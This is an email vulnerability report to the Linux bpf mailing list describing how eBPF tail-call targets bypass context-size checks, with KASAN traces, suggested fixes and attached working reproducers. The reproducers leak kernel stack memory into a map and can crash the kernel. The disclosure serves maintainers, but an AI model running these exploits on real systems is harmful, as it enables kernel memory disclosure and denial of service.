From mboxrd@z Thu Jan 1 00:00:00 1970 Authentication-Results: smtp.subspace.kernel.org; arc=none smtp.remote-ip=74.125.82.46 ARC-Seal: i=1; d=subspace.kernel.org; s=arc20261015; a=rsa-sha256; cv=none; t=1796461591; b=Ps0jOAHwdo+09irLIYIX5d8L3Xl81AQYvl50Am5wYds9S21jtfysMlaYDcTiiKjF6Xv7 brSSlnXdP/jT08zm30hdrgHSpxb+e+rQcdicbapqDHwXzQyKwoOzDmcBgN1s6RswAIeHL jU6jY894IL0WI+X07JA6Qz4YYsLR/uayyoUa7nBL9i07D/hphTrpvpDBvPGkKgiHOmiKR lkYrURZbwohD28zqjQBo1jFrCsNR+GBMo61A9ytyB27qvn2fi07H36UZsm7dFwRadI4gm 5EdV8ZyBkH6lLaBnTNcmVsLmzpcfHZnbK3pLxO/Ak0bDwZltHleZ6uAMCF3WKb8dSpA== ARC-Message-Signature: i=1; d=subspace.kernel.org; s=arc20261015; a=rsa-sha256; c=relaxed/relaxed; t=1796461591; h=DMARC-Filter:Received:X-Google-DKIM-Signature:X-Forwarded-Encrypted: X-Gm-Message-State:X-Gm-Gg:X-Received:Received:Date:From:To:Cc: Subject:Message-ID:MIME-Version:Content-Type:Content-Disposition; bh=iByrmULCui+Qp5hnkPh0S/OOUo+iBQXs4pe0lWwfPiM=; b=gPz+ooOjH0r+cXbhqmUP3mv1bw5UynrQBlLEkwp+K70x49HwxELdlaUjdlU4hVT3mlPr sK0r+EKMeepOHd6y/WflfJcrdu341vpMnE8skplgqDVoqTz3ABFyjD0iBaX43Yn5udnoW 1Rfbg6sPLhLd28FnqukTneSV6QzWHKCXdBYMszONIpXgwF5cRgzGZjMC4Myo6FXOyrLWf VwwNgpWadoGNN24OcU+QYrI4qmxxlQ2Q9kLdKcQ9DQO76hlnkxm9NyhIYLjcPoHwh2LDJ 5d9fGKx+nspvGfSHPz1YhMBkdYHdOwx4SZpOkI8cOl0o2rx782YPil8iZZH6TFP9uOQ== ARC-Authentication-Results: i=1; smtp.subspace.kernel.org; dmarc=fail header.from=ubuntu.com; spf=pass smtp.mailfrom=gmail.com; arc=none smtp.remote-ip=74.125.82.46 Received: from mail-dl1-f46.google.com (mail-dl1-f46.google.com [74.125.82.46]) (using TLSv1.3 with cipher TLS_AES_128_GCM_SHA256 (128/128 bits) key-exchange X25519 server-signature ECDSA (prime256v1) server-digest SHA256) (No client certificate requested) by smtp.subspace.kernel.org (Postfix) with ESMTPS id 7BE30606A330 for ; Sat, 5 Dec 2026 09:06:30 +0000 (UTC) DMARC-Filter: OpenDMARC Filter v1.4.2 smtp.subspace.kernel.org 7BE30606A330 Authentication-Results: smtp.subspace.kernel.org; dmarc=fail (p=none dis=none) header.from=ubuntu.com Authentication-Results: smtp.subspace.kernel.org; spf=pass smtp.mailfrom=gmail.com Received: by mail-dl1-f46.google.com with SMTP id a92af1059eb24-1b5d60183f9so2151035c88.1 for ; Sat, 05 Dec 2026 01:06:30 -0800 (PST) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20260707; t=1796461589; x=1797066389; h=content-disposition:content-type:mime-version:message-id:subject:cc :to:from:date:x-gm-gg:x-gm-message-state:from:to:cc:subject:date :message-id:reply-to:content-type; bh=iByrmULCui+Qp5hnkPh0S/OOUo+iBQXs4pe0lWwfPiM=; b=br8iiL/YAPIBfEdFBkW7+aN1FyqvhAwgTeiJ9Pl0yJpmHnpnn5f+0ZLnfo/5z5DqPv QgYOstIS34CZiBMbs6KGQhFjF89moVBrR/RmLmEHwhJH9D2DCBMyOvUfQdWG1wpH55hY YEM1Jev5yhG6+z3LXix6lbm+DMKRaL8YmLmxVsKxgrNd65IZ6KX9AuG2+Ajsza+6vPqa 9UsGs8KSHk2Lpnla45DEBiJdRJv7/gh7QE7w2ULRv4LtykTmyFK0tmDgIM02mlQftM0D 3xa1QXoRKz+RJffuUQdvmTgjev332ZfdRmdQXMiokNJGpz82NY0rQc10NJa4yS7hq1t0 uB9w== X-Forwarded-Encrypted: i=1; AL+hErHd8gky8jGWxreNCoFC3TCie+2MS5fNbWud/XdMoBylD/z3vi6Cg3wvocmCPKAZqBjuhJsDKjL6vfbVP6OI4g4=@vger.kernel.org X-Gm-Message-State: APuU4Z/nIMzOgj0dIo/ZsmiA8v5v0/fQkKQUSgRnFjhm0+OnYDH8Wwoy Xd/3buXxsS44lOO1p2A8G7Pp55AGj9e1h4lsHTEpTS2MWBP0iEqme6Qc X-Gm-Gg: AZFdTZfJ+C5mA2hMJx2mzezhJtpNeORXImOWJhoCYJhjwv6+eTgGgW8CYG377YMh5h/ SenONm6MVV6/5CFqpV7kQEM975SoIBmH/DTYRy0Mh+YGF1l4LCKwcuwdIf6dB2LZIn3r2W9q3B0 NHMkZxrevFnnjeP19+94BCnD42UqsQ/YgAB0SkE8D5yTEbovmfsqYEjd1xIkc6KreaEQCpuK6ud eAwlTJtqjzhMxYH83vtEW27sPimKinkqlpL5awMpKgngF+OOBRj6d/j7D2f6kSsSGqgFLN4CDKL RC8gnFTiJj2LdXzvwBfE+P8gA/eyH48dRzQa/ICg9Nhk6rhHfX/u2FhLRx4IZiSTN2Z1O1SZcEL CXg0a/Mi1wXEaKGNUOAs+ZKeWCP+apy2ABgiqo/tZhzGnPY4q/28v3FVUzz92GLnIKhWW0RhSIk 2UN4JuafyfERxdEcgZUWM/a22Rv54qZ6T90eIppXc9TbP2a7rVwZGefTd2PmPYa1JGQYK3XJ2tJ 9LmTFyXkME/KwStMSciloi6Oa04yIy4xFFSZm+AzECmJSEHlcVG3rkZyn+ILOVy/QVQFQPjcKh3 bnO9WIUJUqZGQ9A= X-Received: by 2002:a05:701a:ccce:20b0:1b5:a8b5:34f with SMTP id a92af1059eb24-1b5d710abf9mr4008055c88.15.1796461589019; Sat, 05 Dec 2026 01:06:29 -0800 (PST) Received: from x1c ([2406:7400:bb:fb44:feef:834d:2032:98d5]) by smtp.gmail.com with ESMTPSA id a92af1059eb24-1b5d6455949sm14883572c88.9.2026.12.05.01.06.24 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Sat, 05 Dec 2026 01:06:28 -0800 (PST) Date: Sat, 5 Dec 2026 14:36:20 +0530 From: Pragyansh Chaturvedi To: bpf@vger.kernel.org Cc: varunrmallya@gmail.com, kc@kcsrk.info, ngs@cse.iitm.ac.in, ast@kernel.org, daniel@iogearbox.net, andrii@kernel.org, eddyz87@gmail.com, yonghong.song@linux.dev, memxor@gmail.com, netdev@vger.kernel.org, linux-kselftest@vger.kernel.org Subject: bpf: tail-call targets bypass max_ctx_offset checks (OOB read, KASAN splats) Message-ID: X-Mailing-List: linux-kselftest@vger.kernel.org List-Id: List-Post: List-Help: List-Subscribe: List-Unsubscribe: List-Owner: Precedence: list MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="PD/GQNepS9SeH0VD" Content-Disposition: inline --PD/GQNepS9SeH0VD Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Subject: bpf: tail-call targets bypass max_ctx_offset checks on raw_tp and tracepoint paths (OOB read, KASAN splat) The verifier records the furthest ctx byte a program may read in prog->aux->max_ctx_offset, and the raw_tp test_run, raw_tp attach, and tracepoint attach paths each refuse a program whose max_ctx_offset exceeds the ctx actually available. Every one of those checks looks only at the program being run or attached; a PROG_ARRAY tail-call target is never checked. A caller that never touches ctx keeps max_ctx_offset = 0, passes the gate, and tail-calls a target that reads far past the real buffer. Commit 08c987904970 ("bpf: Give a syscall program the largest context when it does tail calls") closed this for the SYSCALL test_run path only. Verified live on bpf-next HEAD 289cd43f93ed (2026-12-03, Linux 7.4.0-rc4), x86-64, KASAN + BPF_JIT_KASAN. ---------------------------------------------------------------------- Path 1: raw_tp test_run (net/bpf/test_run.c, bpf_prog_test_run_raw_tp) ctx = memdup_user(ctx_in, ctx_size_in) with no tail_call_reachable padding. Caller (max_ctx_offset 0) -> mid -> target (reads 96 bytes): BUG: KASAN: slab-out-of-bounds in bpf_prog_..._target+0x2a/0x259 Read of size 8 at addr ffff88810486a818 by task ld-linux-x86-64/104 Not tainted 7.4.0-rc4-g289cd43f93ed #4 bpf_prog_..._target+0x2a/0x259 __bpf_prog_test_run_raw_tp+0x5b8/0x900 bpf_prog_test_run_raw_tp+0x42f/0x7e0 __sys_bpf+0x114e/0x5420 __x64_sys_bpf+0xd5/0x1f0 The buggy address belongs to the cache memdup_user-8 of size 8 The buggy address is located 16 bytes to the right of allocated 8-byte region [ffff88810486a800, ffff88810486a808) ---------------------------------------------------------------------- Path 2: raw_tp attach (kernel/trace/bpf_trace.c, bpf_probe_register) Caller attached to sched_switch (3 args, 24-byte stack buffer) tail-calls a target reading 96 bytes: BUG: KASAN: stack-out-of-bounds in bpf_prog_..._target+0x2e0/0x775 Read of size 8 at addr ffffc9000064f200 by task ld-linux-x86-64/112 Not tainted 7.4.0-rc4-g289cd43f93ed #4 bpf_prog_..._target+0x2e0/0x775 bpf_trace_run4+0x641/0xaa0 __schedule+0x1735/0x40f0 The buggy address belongs to stack of task ld-linux-x86-64/112 and is located at offset 128 in frame: This frame has 2 objects: [32, 64) 'run_ctx' [96, 128) 'args' <- read starts at the first byte past 'args' ---------------------------------------------------------------------- Path 3: tracepoint attach (kernel/events/core.c, __perf_event_set_bpf_prog; check is max_ctx_offset > tp arg size, attached program only). Caller on sys_enter_nanosleep (32-byte stack buffer). With an 800-byte read the target program trips KASAN and then crashes the kernel, on a clean boot: BUG: KASAN: stack-out-of-bounds in bpf_prog_..._target+0x4ae/0x211e Read of size 8 at addr ffffc9000067fda0 by task ld-linux-x86-64/105 Not tainted 7.4.0-rc4-g289cd43f93ed-dirty #5 bpf_prog_..._target+0x4ae/0x211e trace_call_bpf_faultable+0x745/0xaf0 perf_call_bpf_enter+0x167/0x2b0 perf_syscall_enter+0x334/0xcd0 trace_syscall_enter+0x62/0xb0 do_syscall_64+0x41f/0x4d0 BUG: unable to handle page fault for address: ffffc90000680000 #PF: supervisor read access in kernel mode #PF: error_code(0x0000) - not-present page Oops: 0000 [#1] SMP KASAN NOPTI RIP: 0010:bpf_prog_..._target+0x1de7/0x211e trace_call_bpf_faultable+0x745/0xaf0 perf_syscall_enter+0x334/0xcd0 Note that trace_call_bpf_faultable() does not contain the read: the JITed target's plain ctx loads are not covered by the faultable wrapper, so the window runs off the task's vmalloc stack into the guard page. This variant is therefore both a silent infoleak at small windows and a reliable kernel crash at larger ones. ---------------------------------------------------------------------- Reproducers (CAP_BPF+CAP_PERFMON): make && ./rawtp_chain_leak ; ./rawtp_attach_leak ; ./tp_attach_bypass [sources attached] ---------------------------------------------------------------------- Analysis: All three gates validate only the attached/run program: net/bpf/test_run.c:796 ctx_size_in < prog->aux->max_ctx_offset net/bpf/test_run.c:808 memdup_user(ctx_in, ctx_size_in), no pad kernel/trace/bpf_trace.c:2209 max_ctx_offset > num_args*8 (attach) kernel/events/core.c:11896 max_ctx_offset > off (attach) prog_fd_array_get_ptr() / __bpf_prog_map_compatible() gate tail-call targets on program type, sleepable, hook key, cgroup storage, but never on max_ctx_offset.vmax_ctx_offset was never added to that list. 08c987904970 fixed the SYSCALL test_run instance of the same field, but the other three paths were out of its scope. Suggested fix: Path 1: apply 08c987904970's treatment to bpf_prog_test_run_raw_tp() (kvzalloc + pad to the max when the run program is tail_call_reachable, mirroring the syscall path's ctx_size_in < U16_MAX rejection). Paths 2+3 are the design question: the buffer size is a property of the hook, the requirement a property of arbitrary future tail-call targets. Options: (a) inflate the caller's max_ctx_offset to U32_MAX when it contains bpf_tail_call (the fixup_tail_calls pattern; correct but makes every tail-calling raw_tp/tp program unattachable). (b) zero-pad the on-stack arg buffers (bpf_trace_runN, perf/tp enter) for tail-call-reachable callers. (c) carry the real ctx size in the run context and bounds-check at tail-call entry. The gap exists since PROG_ARRAY tail calls (04fd61ab36ec, 2015) met the max_ctx_offset checks. Every current release and bpf-next HEAD have it. Thanks Pragyansh and Varun --PD/GQNepS9SeH0VD Content-Type: text/x-csrc; charset=us-ascii Content-Disposition: attachment; filename="rawtp_chain_leak.bpf.c" // SPDX-License-Identifier: GPL-2.0 #include #include struct { __uint(type, BPF_MAP_TYPE_PROG_ARRAY); __uint(max_entries, 2); __type(key, __u32); __type(value, __u32); } jmp_table SEC(".maps"); __u64 sink; SEC("raw_tracepoint/sched_switch") int caller(void *ctx) /* max_ctx_offset = 0 */ { bpf_tail_call(ctx, &jmp_table, 0); return 0; } SEC("raw_tracepoint/sched_switch") int mid(void *ctx) /* max_ctx_offset = 0 */ { bpf_tail_call(ctx, &jmp_table, 1); return 0; } SEC("raw_tracepoint/sched_switch") int target(void *ctx) /* max_ctx_offset = 96 */ { __u64 *a = ctx; #pragma clang loop unroll(full) for (int i = 0; i < 12; i++) sink += a[i]; return 0; } char LICENSE[] SEC("license") = "GPL"; --PD/GQNepS9SeH0VD Content-Type: text/x-csrc; charset=us-ascii Content-Disposition: attachment; filename="rawtp_chain_leak.c" // SPDX-License-Identifier: GPL-2.0 /* raw_tp chain caller->mid->target reads 96 bytes from an 8-byte test_run ctx. */ #include #include #include #include #include int main(int argc, char **argv) { const char *path = argc > 1 ? argv[1] : "rawtp_chain_leak.bpf.o"; unsigned char ctx[8] = { 1, 2, 3, 4, 5, 6, 7, 8 }; struct bpf_object *obj; int map_fd, cfd, tfd, k; obj = bpf_object__open_file(path, NULL); if (libbpf_get_error(obj) || bpf_object__load(obj)) return perror("load"), 1; map_fd = bpf_map__fd(bpf_object__find_map_by_name(obj, "jmp_table")); cfd = bpf_program__fd(bpf_object__find_program_by_name(obj, "caller")); k = 0; tfd = bpf_program__fd(bpf_object__find_program_by_name(obj, "mid")); bpf_map_update_elem(map_fd, &k, &tfd, BPF_ANY); k = 1; tfd = bpf_program__fd(bpf_object__find_program_by_name(obj, "target")); bpf_map_update_elem(map_fd, &k, &tfd, BPF_ANY); LIBBPF_OPTS(bpf_test_run_opts, o, .ctx_in = ctx, .ctx_size_in = sizeof(ctx)); printf("target direct: %s\n", bpf_prog_test_run_opts(tfd, &o) ? strerror(errno) : "accepted"); printf("via chain: %s\n", bpf_prog_test_run_opts(cfd, &o) ? strerror(errno) : "accepted"); return 0; } --PD/GQNepS9SeH0VD Content-Type: text/x-csrc; charset=us-ascii Content-Disposition: attachment; filename="rawtp_attach_leak.bpf.c" // SPDX-License-Identifier: GPL-2.0 /* Modified for verification: target exfiltrates the 96 bytes it reads via `out`. * sched_switch raw_tp has 3 args = 24 bytes; indices >= 3 are OOB. */ #include #include struct { __uint(type, BPF_MAP_TYPE_PROG_ARRAY); __uint(max_entries, 1); __type(key, __u32); __type(value, __u32); } jmp_table SEC(".maps"); struct { __uint(type, BPF_MAP_TYPE_ARRAY); __uint(max_entries, 12); __type(key, __u32); __type(value, __u64); } out SEC(".maps"); __u64 sink; SEC("raw_tracepoint/sched_switch") int caller(void *ctx) /* max_ctx_offset = 0 */ { bpf_tail_call(ctx, &jmp_table, 0); return 0; } SEC("raw_tracepoint/sched_switch") int target(void *ctx) /* max_ctx_offset = 96; sched_switch has 3 args */ { __u64 *a = ctx; #pragma clang loop unroll(full) for (int i = 0; i < 12; i++) { __u32 k = i; __u64 v = a[i]; sink += v; bpf_map_update_elem(&out, &k, &v, BPF_ANY); } return 0; } char LICENSE[] SEC("license") = "GPL"; --PD/GQNepS9SeH0VD Content-Type: text/x-csrc; charset=us-ascii Content-Disposition: attachment; filename="rawtp_attach_leak.c" // SPDX-License-Identifier: GPL-2.0 /* Modified for verification: dumps the exfiltrated words; indices >= 3 (byte >= 24) are OOB. */ #include #include #include #include #include #include int main(int argc, char **argv) { const char *path = argc > 1 ? argv[1] : "rawtp_attach_leak.bpf.o"; struct bpf_program *caller, *target; struct bpf_object *obj; int map_fd, out_fd, tfd, key = 0; obj = bpf_object__open_file(path, NULL); if (libbpf_get_error(obj) || bpf_object__load(obj)) return perror("load"), 1; caller = bpf_object__find_program_by_name(obj, "caller"); target = bpf_object__find_program_by_name(obj, "target"); map_fd = bpf_map__fd(bpf_object__find_map_by_name(obj, "jmp_table")); out_fd = bpf_map__fd(bpf_object__find_map_by_name(obj, "out")); tfd = bpf_program__fd(target); printf("target direct attach: %s\n", bpf_program__attach_raw_tracepoint(target, "sched_switch") ? "ACCEPTED" : strerror(errno)); bpf_map_update_elem(map_fd, &key, &tfd, BPF_ANY); if (!bpf_program__attach_raw_tracepoint(caller, "sched_switch")) return perror("attach caller"), 1; printf("caller attach: ACCEPTED\n"); usleep(100000); for (int i = 0; i < 12; i++) { unsigned long long v = 0; bpf_map_lookup_elem(out_fd, &i, &v); printf(" [%2d] off=%3d 0x%016llx%s\n", i, i * 8, v, i >= 3 ? " <- OOB (past 24-byte arg buffer)" : ""); } return 0; } --PD/GQNepS9SeH0VD Content-Type: text/x-csrc; charset=us-ascii Content-Disposition: attachment; filename="tp_attach_bypass.bpf.c" // SPDX-License-Identifier: GPL-2.0 /* Modified for verification: target exfiltrates the 248 bytes it reads via `out`. * sys_enter_nanosleep tp buffer: 8B common + 8B nr + 2 args = 32 bytes; * indices >= 4 (byte offset >= 32) are OOB. */ #include #include struct { __uint(type, BPF_MAP_TYPE_PROG_ARRAY); __uint(max_entries, 1); __type(key, __u32); __type(value, __u32); } jmp_table SEC(".maps"); struct { __uint(type, BPF_MAP_TYPE_ARRAY); __uint(max_entries, 32); __type(key, __u32); __type(value, __u64); } out SEC(".maps"); __u64 sink; SEC("tracepoint/syscalls/sys_enter_nanosleep") int caller(void *ctx) /* max_ctx_offset = 0 */ { bpf_tail_call(ctx, &jmp_table, 0); return 0; } SEC("tracepoint/syscalls/sys_enter_nanosleep") int target(void *ctx) /* max_ctx_offset = 256 */ { __u64 *a = ctx; #pragma clang loop unroll(full) for (int i = 1; i < 100; i++) { __u64 v = a[i]; sink += v; if (i < 32) { __u32 k = i; bpf_map_update_elem(&out, &k, &v, BPF_ANY); } } return 0; } char LICENSE[] SEC("license") = "GPL"; --PD/GQNepS9SeH0VD Content-Type: text/x-csrc; charset=us-ascii Content-Disposition: attachment; filename="tp_attach_bypass.c" // SPDX-License-Identifier: GPL-2.0 /* Modified for verification: dumps the exfiltrated words; indices >= 4 (byte >= 32) are OOB. */ #include #include #include #include #include #include #include #include int main(int argc, char **argv) { const char *path = argc > 1 ? argv[1] : "tp_attach_bypass.bpf.o"; struct bpf_program *caller, *target; struct bpf_object *obj; int map_fd, out_fd, tfd, key = 0; obj = bpf_object__open_file(path, NULL); if (libbpf_get_error(obj) || bpf_object__load(obj)) return perror("load"), 1; caller = bpf_object__find_program_by_name(obj, "caller"); target = bpf_object__find_program_by_name(obj, "target"); map_fd = bpf_map__fd(bpf_object__find_map_by_name(obj, "jmp_table")); out_fd = bpf_map__fd(bpf_object__find_map_by_name(obj, "out")); tfd = bpf_program__fd(target); printf("target direct attach: %s\n", bpf_program__attach_tracepoint(target, "syscalls", "sys_enter_nanosleep") ? "ACCEPTED" : strerror(errno)); bpf_map_update_elem(map_fd, &key, &tfd, BPF_ANY); if (!bpf_program__attach_tracepoint(caller, "syscalls", "sys_enter_nanosleep")) return perror("attach caller"), 1; printf("caller attach: ACCEPTED\n"); struct timespec ts = { .tv_sec = 0, .tv_nsec = 1000 * 1000 }; syscall(SYS_nanosleep, &ts, NULL); /* glibc nanosleep() uses clock_nanosleep; we want nr 35 */ for (int i = 1; i < 32; i++) { unsigned long long v = 0; bpf_map_lookup_elem(out_fd, &i, &v); printf(" [%2d] off=%3d 0x%016llx%s\n", i, i * 8, v, i >= 4 ? " <- OOB (past 32-byte tp buffer)" : ""); } return 0; } --PD/GQNepS9SeH0VD Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename=Makefile PROGS := rawtp_chain_leak rawtp_attach_leak tp_attach_bypass all: $(PROGS) $(addsuffix .bpf.o,$(PROGS)) %.bpf.o: %.bpf.c clang -O2 -g -target bpf -c $< -o $@ %: %.c $(CC) -O2 -o $@ $< -lbpf -lelf -lz -lzstd clean: rm -f $(PROGS) $(addsuffix .bpf.o,$(PROGS)) .PHONY: all clean --PD/GQNepS9SeH0VD--